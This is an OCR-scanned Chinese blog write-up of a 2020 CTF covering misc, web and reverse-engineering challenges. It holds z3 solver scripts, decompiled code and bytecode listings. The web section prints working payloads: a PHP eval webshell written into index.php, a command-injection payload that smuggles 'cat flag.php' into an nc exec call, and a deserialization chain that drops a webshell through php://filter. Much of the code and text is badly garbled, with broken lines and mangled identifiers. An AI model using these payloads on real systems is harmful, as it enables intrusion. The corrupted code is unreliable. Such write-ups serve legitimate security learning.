E AR & BAwriteup

WustHandy F 2020-09-12 15:10:25 KA\ 1465 W 3

SRER. WriteUp X ERE: EE%ZE

R B AR SONTEE RIS E, BIE.CC 4.0 BY-SA MM, FBIEM LR SCH AMBEEMAREH .
ACEERE: https://blog.csdn.net/weixin_45883223/article/details/108532440

WriteU LA ANEN
15 RE 21T 5
WHER
2 39 AF &% BA writeup
Misc
com
badapple
Web
easycon
easyphp
BlackCat
easyser
Re
loginin
easyre
Bytecode
Misc
com

nc 183.129.189.60 10028
1, B3 —HHTE, BME5EH, expliF:

from z3 import
al, a2, a3, a4, a5, a6, a7, a8, a9, ale, all, al2, al3, al4, al5, al6, al7, al8, al9, a20, a2l, a22, a23, a24, a
25, a26, a27, a28, a29, a30, a3l, a32, a33, a34, a35 Ints(

X Solver()

X .add(al1*281+a2*1020+a3*980+a4*902+a5*338+a6*960+a7*1001+a8*%1017+a9*963+al0*442+a11*536+a12*1022+al13*212+al1l4*186
al5%657+al6*886+al7%243+al8%802+al19*751+a20%742+a21*712+a22*316+a23*256+a24%928+a25%1011+a26*707+a27*415+a28*24

4+229%962+a30%796+a31%473+a32%96+a33*598+a34*948+a35*416 12220997)

X .add(al*442+a2*272+a3*973+a4*311+a5*886+a6*465+a7*91+a8*579+a9*88+al0*1000+al1l1*20+al12*914+al13*991+al4*953+al5*4
7+a16%117+al7%216+al8%693+al19%346+a20%374+a21*175+a22*46+a23%221+a24*485+a25%1022+a26%28+a27*380+a28*997+a29%411
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X .add(al*175+a2*989+a3*486+a4*717+a5*146+a6*418+a7*446+a8*598+a9*526+al10*363+all*18+al2*332+al3*103+al4*834+al5
443+316*407+al17*870+a18*%999+a19%278+a20*624+a21*863+a22*486+a23*413+a24*825+a25%347+a26*543+a27*362+a28*645+a29
505+a30*738+a31%612+a32*268+a33%94+a34*646+a35%32 8907244)

X .add(al1*987+a2*454+a3*828+a4*508+a5%993+a6*762+a7*497+a8*83+a9*591+a10*533+a11*955+al12*265+al13*568+al4*117+al5

818+a16*133+al17*1+al18%305+a19%319+a20%257+a21*273+a22*956+a23*260+a24*349+a25%719+a26*416+a27*956+a28*388+a29*79

5+a30%43+a31*378+a32%379+a33%295+a34%603+a35%722 10103617)

X .add(al1*851+a2*884+a3*425+a4*538+a5*627+a6*548+a7*714+a8%129+a9*46+al0*445+al1l1*444+al12*1002+al3*170+ald*162+al5
476+al6*849+al17*136+al18%929+a19%392+a20*341+a21*747+a22*385+a23*318+a24*503+a25%248+a26*308+a27*838+a28*567+a29
565+a30*878+a31*831+a32*561+a33%222+a34*363+a35*74 9423443)

X .add(al*227+a2*218+a3*313+a4*37+a5%247+a6%*952+a7*499+a8*908+a9*50+al0*344+a11*182+al12*980+al3*568+ald*648+al5*9

44+216*538+a17*886+a18%280+a19*18+a20%207+a21*21+a22*532+a23%38+a24*1007+a25*890+a26*335+a27*748+a28*88+a29*478

230%539+a31%966+a32*961+a33*632+a34*350+a35%*289 9333864 )

X .add(al*514+a2*216+a3*267+a4*873+a5*974+a6*573+a7*496+a8*494+a9*814+al10*251+al11*852+al2*379+al3*217
772+a16*501+a17*104+al18*607+a19%824+a20*716+a21*875+222*580+a23%247+a24*232+a25*642+a26*381+a27%423
88+a30%273+a31*166+a32*865+a33*436+a34*829+a35*303 10203418)

x.add(al*123+a2*914+a3*660+a4*603+a5*528+a6*536+a7*543+a8%518+a9%489+a10*1021+a11*739+a12*90+a13*933
548+al16*560+al7*537+al18*552+a19%191+a20*320+a21*344+a22%968+a23%469+a24%106+a25%497+a26%329+a27*736
465+a30*63+a31*159+a32%929+a33*916+a34*209+a35*635 10386146)

x.add(al*325+a2%226+a3*700+a4*983+a5*881+a6*274+a7*169+a8*180+a9%912+a10*931+a11*276+a12*934+a13*1001+al4*634+al
5%247+al16%937+al17%904+al18*546+a19%909+a20*884+a21*756+a22*358+a23%649+a24%381+a25%946+a26%457+a27*523+a28*598+a2|

9*766+a30*781+a31*429+a32*644+a33*115+a34*358+a35*981 12003802)

x.add(al*45+a2*384+a3*538+a4*328+a5%477+a6*451+a7*822+a8%30+a9%652+a10*145+a11%223+a12*144+a13*405+a14*288+al15*9

93+216%983+a17%817+a18%702+219%270+2a20%460+a21*336+a22*984+a23*68+a24*274+a25*976+a26*306+a27*234+a28*%913+a29*80

9+a30%923+a31*606+a32*246+a33*1002+a34*73+a35*738 9293993)

X.add(al*760+a2*920+a3*296+a4*721+a5*886+a6*733+a7*461+a8*850+a9*777+a1l0*156+a11*919+a12*480+al13*946+al4*597+al5
585+a16*969+al7*516+al8*682+al9*255+a20*576+a21*256+a22*558+a23%419+a24%978+a25%739+a26*537+a27%236+a28%140+a29
951+a30*893+a31*235+a32*861+a33*40+a34*544+a35*987 12024112)

X .add(al*156+a2*359+a3*443+a4*477+a5*635+a6%*394+a7*784+a8%193+a9*58+a10%*1022+a11*792+al12*535+a13*146+al4*186+al5
405+al6*8+al7*646+al8*%259+al19*%791+a20*835+a21*755+a22*985+a23*156+a24*908+a25*756+a26*285+a27*755+a28*243+a29*7

90+a30%100+a31*22+a32*822+a33*244+a34*518+a35*451 9044332)

X .add(al*747+a2*892+a3*582+a4*435+a5%958+a6%289+a7*1020+a8*288+a9*257+al10*218+al11*314+al12*97+al13*1015+al4*229+al

5%601+al6*788+al7*979+al8*146+al9%391+a20*726+a21*708+a22*861+a23*447+a24*636+a25%1020+a26%470+a27%219+a28*494+a

29%607+a30%601+a31*263+a32*801+a33%294+a34*361+a35*735 10302431)

X .add(al*84+a2*262+a3*338+a4*565+a5*97+a6*0+a7*174+a8*801+a9*537+al10*959+a11*317+al2*10+al3*673+ald*70+al5*149+a

16*520+a17*351+a18*405+a19%294+a20*1008+a21*597+a22%979+a23*587+a24*539+a25%100+a26%120+a27%329+228%861+a29%293

230%887+a31*%191+a32*275+a33*380+a34*631+a35*748 7441063)
.add(al*227+a2*26+a3*510+a4*943+a5*982+a6*28+a7*613+a8*%321+a9*641+a1l0*474+a11*48+a12*105+a13*200+al4*307+al5*57

216*593+a17*854+2a18*511+219%442+2a20%912+a21*936+a22*517+a23*217+a24*891+a25*731+a26*5+a27*5+a28*752+a29*707+a3

355+a31%668+a32*372+a33*728+a34%619+a35%934 8480144 )

.add(al1*409+a2*161+a3*233+a4*346+a5*79+a6*17+a7*370+a8%996+a9*898+a10*647+a11*290+a12*312+al13*816+al4*780+al5*2
63+216%276+2a17%114+218%386+a19%384+2a20%287+a21*160+a22*947+a23*68+a24*363+a25%529+a26*841+a27*543+a28*424+a29*93

5+a30*713+a31%323+a32%632+a33*560+a34*160+a35*507 9108423)

X.add(al*651+a2*994+a3*22+a4*888+a5*347+a6*72+a7*82+a8%323+a9%*66+a10*915+all1*14+al12*400+al3*314+al4*132+al5%143

216*512+217%375+218%312+219%173+2a20%196+a21*644+a22*459+a23*475+a24*166+a25*352+a26*481+a27*439+a28*409+a29*17+a

30*522+a31*66+a32*887+a33*529+a34%420+a35%345 6750308)

X.add(al*605+a2*434+a3*86+a4*845+a5*595+a6%995+a7*974+a8%229+a9%847+a10*83+a11*821+a12*278+a13*18+al14*936+al5*41

3+a16*219+a17*708+a18*618+a19*852+a20%602+a21%290+a22*352+a23%412+a24*586+a25*515+226*504+227%39+228*577+a29*598
a30*116+a31*460+a32*543+a33*343+a34*3+a35%629 9625384 )

X.add(al*603+a2*905+a3*403+a4*224+a5%327+a6*806+a7*1018+a8*%266+a9*310+al0*647+a1l1*79+a12*98+al13*147+al14*763+al5

2+a16*117+al17*252+a18*738+a19%211+a20*858+a21%962+a22*45+223*483+a24%603+a25%911+a26%729+a27%431+228%135+229*575
230*404+a31*882+a32*1013+a33*72+a34*568+a35*621 9317350)

X.add(al*449+a2*540+a3*314+a4*887+a5*163+a6*562+a7*213+a8*760+a9*80+a10*285+a11*530+a12*208+a13*863+al4*302+al5

38+a16*1005+a17*279+a18*444+a19%121+a20*27+a21%49+a22%693+a23%442+a24%661+a25%722+226%739+a27*734+228*766+a29*11]

1+a30*781+a31*65+a32*790+a33*703+a34%227+a35%28 8606739)

X.add(al*459+a2*686+a3*290+a4*86+a5*454+a6*743+a7*49+a8%324+a9*648+al10*268+all*613+al2*63+al3*873+ald*34+a15%*406
216%24+a17%308+a18%257+219%994+2a20%539+221*%982+a22*114+a23*145+a24*799+a25*343+a26*885+a27*236+a28*754+a29%232

230%560+a31%128+a32%262+a33*423+a34*240+a35*872 8487191)

X.add(al*32+a2*26+a3*11+ad*132+a5*306+a6*143+a7*200+a8%*950+a9*472+al10*821+al11*505+a12*831+al3*462+ald*521+al5%47

1+316%821+al17%220+al8*%674+al9%207+a20*783+a21*%9+a22%322+a23*780+a24*1010+a25*147+a26*667+a27*997+a28*323+a29%*200




a30*332+a31*762+a32*37+a33*642+a34*461+a35%*328 9002065)
X.add(al1*82+a2*151+a3%994+a4*1007+a5*19+a6*761+a7*408+a8*672+a9*387+a10*875+a11*933+a12*420+a13*571+al14*673+al5
691+216%663+a17%483+a18%721+a19%298+a20%45+a21*336+a22*348+a23*734+a24*642+a25*0+a26*989+a27*649+a28*997+a29*634

a30*644+a31*412+a32*517+a33*703+a34*307+a35*570 10212884)
x.add(al1*345+a2%907+a3*886+a4*526+a5%333+a6%388+a7*405+a8+%122+29%365+210*624+a11*48+a12*%198+a13*602+al14*879+al5
161+a16*506+al17*710+al8*260+al9%203+a20%970+a21*731+a22*1014+a23%237+a24%954+a25%457+a26%693+a27*34+228%1010+a29

462+a30%895+a31*648+a32*%159+a33*753+a34*909+a35*666 9777472)

X .add(al1*548+a2*483+a3*386+a4*629+a5*24+a6*340+a7*702+a8%423+a9*721+al10*172+al1l1*494+al12*422+al13*834+al4*881+al5
602+216%7+a17%304+218%70+219%368+a20%202+a21*714+a22%230+a23*53+a24*910+a25*745+a26*745+a27*1020+a28*227+a29*513

a30*72+a31*528+a32*597+a33*852+a34*22+a35*649 9178370)

X .add(al1*685+a2*438+a3*750+a4*512+a5*1013+a6*403+a7*429+a8*254+a9*807+al0*169+all*420+al2*233+al3*696+ald*806+al
5%414+a16*697+al7*506+a18*215+a19%39+a20%300+a21%32+a22%877+a23%855+224%618+a25%615+226%19+a27%276+a28%268+a29*7|
77+a30%95+a31%204+a32*641+a33*335+a34*955+a35*885 9671988)
X .add(al*657+a2*450+a3*852+a4*306+a5*854+a6*986+a7*612+a8*679+a9*414+al10*424+all1*63+al2*772+al3*630+ald*378+als
308+al16%228+al7*177+al8%879+a19%998+a20%1003+a21%172+a22*722+a23%923+a24*78+a25%383+a26%302+a27*106+a28*710+a29
199+a30*470+a31%519+a32%982+a33*881+a34%409+a35*74 11123701)
X .add(al*756+a2*184+a3*168+a4*356+a5*1007+a6*971+a7*469+a8*668+a9*10+al0*748+all1*254+al12*183+al3*667+ald*996+al5
28+al16*588+al7*146+al8%365+al9*761+a20%729+a21*107+a22*195+a23*579+a24%475+a25*851+a26*66+a27*944+a28*469+a29*2|
85+a30%367+a31*459+a32%301+a33*1019+a34*411+a35%240 10125797)
X.add(al*140+a2*697+a3*281+a4*687+a5*34+a6*657+a7*678+a8%420+a9%697+a10*632+all1*660+al2*464+al13*797+al4*60+al5*6
55+a16%347+al17*496+al18%796+a19%532+a20%55+a21%450+a22*961+a23%*44+a24*769+a25%622+a26%527+a27*756+a28%*843+a29*878

a30%844+a31*767+a32*478+a33*612+a34*132+a35*804 9953220)
x.add(al*67+a2*776+a3*816+a4*372+a5*553+a6*169+a7*596+a8*85+a9%991+a10*97+a11%¥931+a12*735+a13*960+a14*336+al15*48
2+2l16%243+a17%512+a18%910+a19%722+a20%276+a21%381+a22%495+a23%349+a24*121+a25%366+a26%693+a27*496+a28*727+a29*%61
5+a30%42+a31%974+a32%876+a33%698+a34%816+a35%414 10782865)
X.add(al*529+a2*755+a3*674+a4*262+a5*667+a6%119+a7*855+a8*1003+a9*912+a10*414+311*1012+al12%122+al13*592+al4*443+3q
15%829+a16%169+al17*556+al8*17+al9*476+a20%954+a21*751+a22%203+a23*39+a24*667+a25*413+a26*744+a27%66+a28%120+a29
322+a30%895+a31%389+a32%573+a33%499+a34%377+a35*351 9924122)
X.add(al*727+a2*717+a3*559+a4%922+a5%527+a6*512+a7*1000+a8*333+a9*790+a10*901+a11*42+a12*420+al13*585+al14*408+al5

988+a16%94+al17%945+a18*%331+a19%704+a20*651+a21%130+a22*796+a23%795+a24%322+a25*88+a26*776+a27%299+a28%972+a29*f
16+a30%909+a31%820+a32%617+a33%439+a34%721+a35*176 10760304)
x.add(al*434+a2*861+a3*873+a4*935+a5*582+a6*543+a7*33+a8%741+a9*897+al10*208+al11*571+a12*294+a13*868+al4*302+alb
362+a16%885+a17*318+a18%39+a19%274+a20%833+a21*573+a22*732+a23*526+a24*542+a25%312+a26*454+a27*187+a28*15+a29*61
6+a30%45+a31%243+a32*732+a33%*841+a34*439+a35*80 9838513)
x.add(al*843+a2*931+a3*854+a4*1+a5*564+a6*889+a7*799+a8%*655+a9%610+a10*196+al11*227+al2*456+a13*325+a14%270+al5*9
9+216*513+a17%372+a18%664+al19*765+a20%817+a21%328+a22%820+a23*810+a24*305+a25%731+a26*683+a27*85+a28*409+a29*456

a30*134+a31*836+a32%342+a33*385+a34%*196+a35*760 10335141)
x.add(al*711+a2*59+a3*806+a4*683+a5*462+a6*270+a7*832+a8%257+a9*531+al10*990+al11*605+a12*436+a13*620+al4*928+al5
880+216%987+al17%354+a18%815+a19%679+a20%483+a21*135+a22%949+a23*756+a24*66+a25%315+a26*718+a27*799+a28*269+a29*9
60+a30%193+a31*547+a32*780+a33*767+a34*1010+a35*762 11888742)

X .check()
print(x.model())
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?%?Uﬂag:

Flag:do_u knOw_c@idao

easyphp

FIFMSE, B T IRD:

fay B o T — 3, AL BGREEIEM. . .
HESDHAT:

?content=<?php eval($_POST[*Handy"]);?>&filename=index.php
# L%, Z3flag:

B {37F

1 GWHT{easyApache}
2

BlackCat

BEATUE, KBANEMR (BHWEK)

FERT R U R B T 3R i & 4, BV T — i g A #EE .
EEHTRTRK, BEImiscHrFMB TES, EH2HBEFE LR
Ja SR 163 B 3T T AE R 5 A B T RGN



45 58 DO 07 00 00 D2 1F 01 00 04 00 OO 00 00 0O | EXP o]

00 80 00 00 00 00 00 00 0O 00 OD OD OD €9 66 28 € if(
€5 6D 70 74 79 2B 24 5F 50 4F 53 54 5B 27 42 eC empty(5_POST['Bl
€61 63 6B 2D 43 61 74 2D 53 €8 65 72 €9 66 66 27  ack-Cat-Sheriff’

5D 29 20 7c 7C 20 65 6D 70 74 79 28 24 5F 50 4F 1) || empty{S_FO
53 54 5B 27 4F 6E 65 2D 65 €1 72 27 5D 29 29 7B | ST['Cne-ear']l)){
0D 20 20 20 20 64 €9 &5 28 27 CB AD A3 Al BE B9 die ("E-£;%2

B8 D2 B2 C8 CE D2 D2 BB D6 BE B6 FA BS5 C4 CE B2 ,0?EId0»C»Qupais
BO CD A3 Al 27 29 3B 0D 7D 0D 0D 24 63 6C 61 6E °f£;"):; )} $clan
€64 65 73 74 €9 6E €5 20 3D 20 €7 65 74 destine = getenv
28 22 63 6C 61 6E 64 65 73 74 69 BE 65 {"clandestine™) ;
0D OD 69 €6 28 ©9 73 73 65 74 28 24 5F 53 if (isset ($_POS
54 5B 27 57 6B &9 74 &5 6E T['White-cat-mon
€9 74 &F 72 27 5D 29 29 6C itor']l)) $cl
€1l G6E 64 €5 73 74 69 GE 68 andestine = hash
S5F 68 6D €1 &3 28 27 73 20 _hmac('sha256€"',

24 5F 50 4F 53 54 5B 27 €1 5_POST['White-ca
74 2D 6D 6F 6E 69 74 6F 72 27 5D 2C 20 24 63 6C t-monitor'], $cl
€1 6E 64 €5 73 74 €9 6E 65 29 3B 0D OD OD 24 €8 andestine); S$h
€8 20 3D 20 eB 61 73 €8 O5F €8 €D 61 €3 28 27 73 h = hash hmac('s
68 61 32 35 36 27 2C 20 24 5F 50 4F 53 54 5B 27 ha256', $ POST['
4F 6E 65 2D 65 61 72 27 5D 2C 20 24 63 6C 61 6E One-ear'], $5clan
€4 65 73 74 69 6E 65 29 3B 0D 0D 69 €6 2B 24 68 destine); if(5h

€8 20 21 3D 3D 20 24 S5F 50 4F 53 54 5B 27 42 €6C h !== §_POST['Bl
€1 63 6B 2D 43 61 74 2D 53 €B 65 72 69 66 66 27 ack-Cat-Sheriff"
SD 29 7B OD 20 20 20 20 64 €9 65 28 27 D3 DO D2 | ]} { die ('6p0

E2 C3 E9 D7 BC A3 AC CE DE D2 E2 BB F7 B7 A2 A3 SAé&xhe-ipdaw< ¢£
AC C4 E3 B5 C4 C3 CE CF EB BE CD CA C7 C4 E3 D2 -AapAdifenifciaad
AR C3 E9 D7 BC B5 C4 C4 BF Bl EA Al A3 CF EO DO *AéxhpRA:+&;£13D
Cc5 D7 D4 BC BA A3 AC C4 E3 BE CD CA C7 C4 C7 BF %xﬁh"LﬁﬁékiECEQE
C5 C9 E4 D6 DD BO DO DO C4 BS5 C4 D7 D3 BS AF Al AR&0P°pPApixdp;
A3 27 29 3B 0D 7D OD OD 65 €3 68 6F 20 €5 78 €5 £'); } echo exe
€3 28 22 EE 63 22 2F 24 G5F 50 4F 53 54 5B 27 4F | c("nc".5 POST['O
6E 65 2D 65 61 72 27 5D 29 3B 0D 0D 0D 0D OD 0D  retsaz']j:

R B R IEAT T IR 4.

R ged 2K, R B4 Xt R R R HdH, £k [BINULL.

IE#F QRS — IR A S5 RANULL, 2 —IR%E 4 i BB — IR A S R K AR N .
BT 3 —RG R ANULL, 3 IR 2 T 38R ik, IE 55 7] AAS i Py i :

$clandestine

$data=""

$result $data, $clandestine
$result

JETH B — ANy BT B B Rt Tbypass, & G payload i T :
Black-Cat-Sheriff=8efbc3b6b9856c66b5e0e3ab265580b174c231f5ce9e74b3bde9e692a60a80ac&One-ear=handy|cat
flag.php&White-cat-monitor{]=1

Z3flag:

"GWHT{y0u_mu3t_p@y_atTentiou_l0_If)"
easyser

BENTUH, M HEA 3 — T H 3,83 —A robots.txt
FTF 37~ istart.php:

Disallow: /starl.php/

1 17— T star1.php:



FEHT 3 UL B T 4R

FIRLLECHIBEERIDNY

BrafRLIEE ERE:

Have fun!

|https:f,fwww.baidu.oom Submit |

§ e g

<!~ PR T IR E A sl ser . phplE !

KEUB BB AR Z A T 7 ser.phphE.

DO RS A W T & A Dy .

J& SRAE 7 Be & SSRFIE, A hitp B L B R T YR AD:
http://127.0.0.1/sandbox/s4ab0s27p7jddd06e0hjp11c58/ser.php

class

GWHT {
public $hero;
public function __construct() {
$this—>hero = new Yasuo;

public function _ toString() {
if (isset($this—>hero)) {

£

[,

return $this—>hero—>hasaki () :

}else{

return “You don't look

class Yongen{

public $file;
public $text;

public function __construct($file="", $text="")

$this > file = $§file;
$this -> text = $text:

public function hasaki() {

very happy ;

f

$d = ’¢?php die("nononon”) ;?>" ;

$a= 8§d. $this—>text;
@file put contents($this—:

class Yasuo{

public function hasaki() {
return “I'm the best happy

windy man”;

file, $a) :

r



A DUR IR RAN T B4, K B 2 i85 143 POP 8%, Seid exit, 5 Awebshell.

BB 1, L BB R

H # Fpayload:

Path=http://127.0.0.1/sandbox/ocsiska4rn6frcaa3e6kjbrb7t/start1.php
&c=0:4:%22GWHT%22:1:{s:4:%22her0%22;0:6:%22Yongen%22:2:{s:4:%22file%22;s:58:%22php:/ffilter/write=convert.base64-
decode/resource=flag.php%22;s:4:%22text%22;s:48:%22aaaPD9waHAgZXZhbCgkX1BPU1RbJOhhbmR5J10pOyA/Pg==%22;}}

B EE— T, E2lflag:

GWHT{it's_seeee_eaaaaasy_ser}

(EG 2R (OB 052 242 B Rk 25 J SR 1 28 BR AU PR 44 O 1R AKS, ik B flag .php.)
Re

loginin

ffF PyInstaller Extractor v2.0 iEexei TMEE, EMABIE S+ KI Python version: 36, YI#Fpython3.63F15%

(venv) E:\Python-Project\pyctest\ppyycc>python pyinstxtractor.py 2009085f56dfbbbf571.exe
[+] Processing 2009085f56dfbbbf571.exe
[+] Pyinstaller version: 2.1+

[+] Python version: 36

[+] Length of package: 6021662 bytes

[+] Found 59 files in CArchive

[+] Beginning extraction...please standby

[+] Possible entry point: pyiboot®l_bootstrap.pyc

[+] Possible entry point: login.pyc

[+] Found 133 files in PYZ archive

[+] Successfully extracted pyinstaller archive: 2009085f56dfbbbf571.exe

You can now use a python decompiler on the pyc files within the extracted di
https:

" PLE RN O SN login.pyc , f# ] uncompyle6 login.pyc f@tTpyc 4

(venv) E:\Python-Project\pyctest\ppyycc\2009085f56dfbbbf571.exe_extracted>uncompyle6 login.pyc

# uncompyle6 version 3.7.4

# Python bytecode 3.6 (3379)

# Decompiled from: Python 3.6.6 (v3.6.6:Ucflf54eb7, Jun 27 2018, 03:37:03) [MSC v.1900 64 bit (AMD64)]
# Embedded file name: login.py

import sys

inputl = input('input something:')

if len(inputl) != 14:

print('Wrong length!')
sys.exit()

else:
code = []
for i in range(13):
code.append(ord(inputl[i]) * ord(inputl[(i + 1)1))

FRHHCE, W, AR, B3




from z3 import

al, a2, a4, a6

)
Solver()
88

EER a5,

a2 [

89 a2 Vi
39
a2 3

a2 3

a2 )

a2 2

a2

a2
57
8 a2 6
64
67 a2
27
85
7
47
43
89
47
95

47

a2
67
a2
a2
a2
print(x.check())

print(x.model())

[a2 = 24,

al3
a6
a9

88,
43,
52,

O

7

60

5

4

Vi

62

Vi

61
45
44
62
50
a3
al4d
68
52
63

64
61
67
61
34
60

a7z,

34

60

a8

EE]

ald
EE]

ald

EE]
a

a3
a

EE]

> d

65

12
17
16

14
35

14
35

alg

a3
al
a3
al4d
a3
al
6
2
a3
al
a3
al4d
a3
al
a3
al
a3

al4

35
4
35

35
4
4
7

68
4

5

78

66

4

85

4

62

9,

29

1

28

65

a

3

20

29

24

ale, alil,

ad 5
22748)
25
7258)
a4 65 a5
23 26190)
ad 59 a5
29 EVAE]))
ad 52 a5
1 27915)
a4 45
17298)
o) a5
19875)
85
22784)
4 85 a5
9710)
ad
1
ad

a5

a4 a5

a5

a4

a4 a5

Sil
13376)
51 a5

24065)
a4 5 a5

27687)

25

29250)

9 a5
15317)

a5

a4 a5

ad

al2,

al3, al4 = Ints(

25 a8 13 a9

20 a8 66 a9

27 a8 15 ad9

25 a8

90 a8 23 a9

29 a8 18 ad9

23 a8 85 ad9

86 a8 14 a9

VE a8 23 a9

43 a6 a7’ 22 a8 12 a9

44 a6 a7 28 a8 15 a9

43 a6 a7 25 a8 13 ag9

49 a6 89 a7 23 a8 56 a9

43 a6 83 a7 25 a8 12 a9

ad9

36

31

33

EY

36

26

47

30

36

38

35

92

36

33,
a5

74,
a7 = 28,

al

%88 ord(input1[i]) ~ ord(inputi[i + 1]) ##4THER, KH#EElinput [85, 95,
121, 33], BB ANFERH

71, 48, 55, 95, 116, 104, 51, 95, 107, 51,

c = [85, 95, 33]

for i in c:

71, 48, 55, 95, 116, 104, 51, 95, 107, 51, 121,

print( (i), end
U_Go7_th3_k3y!




Fmd5/n#% 15 £158964088b637e50d3a22b9510c1d 1ef8

easyre

DATFEBAKZE, K RAfagZid encode_one encode_two encode_three =IR4miE )52
. EmBmP5PmMN7QcPU4gLYKv5QcMmB3PWHCP5YKkPq3=cT6QckkPckoRG , B 56 1R 58 H base64

14 _main();
b 15 strcpy(Str2, "EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPg3=cT6QckkPckoRG");
b 16/ puts("Hello, please input your flag and I will tell you whether it is right or not.");
17 scanf("%38s", &Str);
18 if ( strlen(&str) == 38
19 && (v3 = strlen(&Str), (unsigned int)encode_one(&Str, v3, &v10, &v12) == @)

20 && (v4 = strlen(&v1@), (unsigned int)encode_two(&v16, v4, &v9, &vl2) == @)
21 && (v5 = strlen(&v9), (unsigned int)encode_three(&v9, v5, &Strl, &vl2) == @)
22 && !stremp(&Strl, Str2) )
23] {

b 24 puts("you are right!");

b 25 result = @;

260}
27| else
28 {

b 29 printf("Something wrong. Keep going.");
b 30 result = @;

31}
132 return result;
F 33}

#E encode_one , HEF|—/NZE & alphabet , X} M ff] ABCDEFGHIIKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/ , AN
FREE /2 base64 ,

*y10 = alphabet[(char)*
if ( vi4 + v1l - 3 == 1

_ZL8alphabet 45h, 46h, 47h, 48h, 49h, 4Ah, 4Bh
; DATA XREF: encode_one(char const*,int,char *,int *)+E8To
; encode_one(char const*,int,char *,int *)+177to ...

5eh, 51h, 52h, 53h, 54h, 55h, 56h
61h, 62h, 63h, 64h, 65h, 66h, 67h
6Ch, 6Dh, 6Eh, 6Fh, 76h, 71h, 72h
77h, 78h, 79h, 7Ah, 36h, 31h, 32h
37h, 38h, 39h, 2Bh, 2Fh

aArsumentDomain dh T _ Al

E encode_two , FHHAA strncpy FEE, 2047 )5 7] H L A
® 6| Source = (char *)al;

® 7 v6 = a3;
©ogl if (a1l || taz )
® 9 return OxFFFFFFFFi64;

@ 18| strncpy(a3, a2l + 26, @xDuied);

@ 11| strncpy(ve + 13, Source, @xDui6d);

@ 12| strncpy(ve + 26, Source + 39, @xDui6d);
@ 13| strncpy(v6 + 39, Source + 13, ©xDui6d);
@ 14| return 01i64;

rnl - .



0 52
Vb = r !
O Ty

[ A L LAY 1Ty

11| v7 = a3;

12| for ( 1 =0; 1 < aZ; ++1 )

13| {

14 v5 = *y§;

15 if ( *v8 <= 64 || v5 > 90 )

16 {

17 if (v5 <=96 || v5 > 122 )

18 {

19 if ( v5 <= 47 || v5 > 57 )
20 *v7 = v5;

21 else

22 *v7 = (v5 - 48 + 3) % 10 + 48;
23 }

24 else

25 {

v 26 *v7 = (v5 - 97 + 3) % 26 + 97;
27 }

- 28 }

29 else

30 {

31 *v7 = (v5 - 65 + 3) % 26 + 65;
32 }

33 ++Vv7;

34 ++vE;

35| }

-~ _—mde s i A AL

BE encode_three , SR E R FET, M H 2k, 2475 E 1 E




FEecLurrtt vio4,

2

return 45) 10 + 48)
else:
return ((v5 26 + 97)
else:
return ((v5 62) 26

fin2 mm[c]

print(fin2)

BjYjM2Mjk4NZMR1dIVHSs 2Nz jYOMTEZzM2VhMn@=2zQ3NzhhMzh10D




R encode_two , 2[R iH ) B X R SR I 755 5B 34T IR IR, B JGbase64f# g

import base64
data

for i (38)]

13] data[13: 26]
26] data[39: 52]
39] data[0: 13]
52] data[26: 39]

print(base64.b64decode("".join(raw).encode()).decode())

GWHT{672cc4778a38e80cb362987341133ea2}

Bytecode

B UGB EIX A H , Bytecode Apythonf) 7 i # s N\ KT 32 TR 3, ZsmailkiEmtiT, & )R sipythonfil A<

LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
BUILD_LIST
STORE_NAME

€))
(37)
(72)
€D
(6)
(132)

®© OO U1 A W N KPR O

(en)

LOAD_CONST (101)
LOAD_CONST (96)
LOAD_CONST (23)
LOAD_CONST (68)
LOAD_CONST (112)
LOAD_CONST (42)
LOAD_CONST (107)
LOAD_CONST (62)
LOAD_CONST (96)
LOAD_CONST EE)
LOAD_CONST (176)
LOAD_CONST (179)
LOAD_CONST (98)
LOAD_CONST EE)
LOAD_CONST )
LOAD_CONST (29)
LOAD_CONST (41)
LOAD_CONST (120)
LOAD_CONST ()
LOAD_CONST (106)
LOAD_CONST (51)
LOAD_CONST (101)
LOAD_CONST (178)
LOAD_CONST (189)
LOAD_CONST (101)
LOAD_CONST (48)
BUILD_LIST

STORE_NAME (output)

LOAD_CONST ('welcome to GWHT2020')




PRINT_NEWLINE

LOAD_NAME (raw_input)

LOAD_CONST ('please input your flag:')
CALL_FUNCTION

STORE_NAME (flag)

LOAD_NAME 3 (flag)
STORE_NAME (str)

LOAD_NAME (1len)
LOAD_NAME (str)
CALL_FUNCTION

STORE_NAME (a)

LOAD_NAME
LOAD_CONST
COMPARE_OP
POP_JUMP_IF_FALSE

LOAD_CONST ('lenth wrong!")
PRINT_ITEM
PRINT_NEWLINE

LOAD_NAME (exit)
LOAD_CONST ()
CALL_FUNCTION

POP_TOP

JUMP_FORWARD (to 173)

LOAD_NAME (ord)
LOAD_NAME 4 (str)
LOAD_CONST )
BINARY_SUBSCR

CALL_FUNCTION

LOAD_CONST (2020)
BINARY_MULTIPLY

LOAD_NAME (ord)
LOAD_NAME 4 (str)
LOAD_CONST (1)
BINARY_SUBSCR

CALL_FUNCTION

BINARY_ADD

LOAD_CONST (2020)
BINARY_MULTIPLY

LOAD_NAME (ord)
LOAD_NAME 4 (str)
LOAD_CONST (2)
BINARY_SUBSCR

CALL_FUNCTION

BINARY_ADD

LOAD_CONST

BINARY_MULTIPLY

LOAD_NAME

LOAD_NAME

LOAD_CONST

BINARY_SUBSCR

CALL_FUNCTION

BINARY_ADD




LOAD_CONST
BINARY MULTIPLY
LOAD_NAME
LOAD_NAME
LOAD_CONST
BINARY_SUBSCR
CALL_FUNCTION
BINARY_ADD
LOAD_CONST
COMPARE_OP
POP_JUMP_IF_FALSE

LOAD_CONST
PRINT_ITEM
PRINT_NEWLINE
JUMP_FORWARD

LOAD_CONST
PRINT_ITEM
PRINT_NEWLINE

LOAD_NAME
LOAD_CONST
CALL_FUNCTION
POP_TOP

BUILD_LIST
STORE_NAME

LOAD_CONST
STORE_NAME

SETUP_LOOP
LOAD_NAME
LOAD_CONST
CALL_FUNCTION
GET_ITER
FOR_ITER
STORE_NAME

LOAD_NAME
LOAD_NAME
LOAD_NAME
BINARY_SUBSCR
CALL_FUNCTION
STORE_NAME

LOAD_NAME
LOAD_NAME
LOAD_NAME
LOAD_CONST
BINARY_ADD
BINARY_SUBSCR
CALL_FUNCTION
STORE_NAME

LOAD_NAME
LOAD_NAME
LOAD_NAME

(2020)

(ord)

4 (str)

(4)

(1182843538814603)
